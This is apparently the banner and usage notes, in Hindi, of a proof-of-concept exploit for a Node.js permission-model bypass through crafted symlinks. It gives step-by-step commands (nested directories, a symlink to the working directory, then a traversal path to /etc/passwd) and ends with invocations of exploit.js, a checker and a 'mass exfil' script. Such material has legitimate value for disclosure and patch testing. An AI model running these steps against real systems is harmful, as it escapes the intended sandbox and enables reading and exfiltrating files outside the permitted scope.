___ _   _ ___     ____   ___ ____  ____      ____ ____ _ _____ ___  
  / __| | | | __|___/ _  \ / _ \___ \| ___|    | ___| ___/ |___ // _ \ 
 | (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
  \___|\___/|___|   \__  ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
                    |___/                       |____/____/|_|____/\___/ 
                                                                        
        Node.js अनुमति मॉडल बायपास क्राफ्टेड सिमलिंक के माध्यम से
                   [ खोजकर्ता: natann @ JFrog ]

अनुमति जांच:  ./nested/dirs/symlink/../../../etc/passwd
                   ^^^^^^^^^^^^^^^^^^ अनुमति (./ से शुरू होता है)
                   
पथ समाधान:   /actual/path/to/script/../../../etc/passwd
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
                   हल होकर /etc/passwd पर जाता है - सैंडबॉक्स के बाहर

1. mkdir -p ./a/b/c/d/e/f/g           # अनुमत पथ में नेस्टेड निर्देशिकाएँ बनाएँ
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x     # सिमलिंक निरपेक्ष पथ पर
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
         ^^^^^^^^^^^^^^^^^ 
         अनुमति जांच पास (अंदर ./)
   
   सिमलिंक समाधान के बाद:
   /home/user/project/../../../etc/passwd -> /etc/passwd
   ^^^^^^^^^^^^^^^^^^^^
   ट्रैवर्सल रूट से बाहर निकलता है

# बुनियादी शोषण
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js

# जाँचें कि कमजोर है या नहीं
node check.js

# बड़े पैमाने पर एक्सफ़िल
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js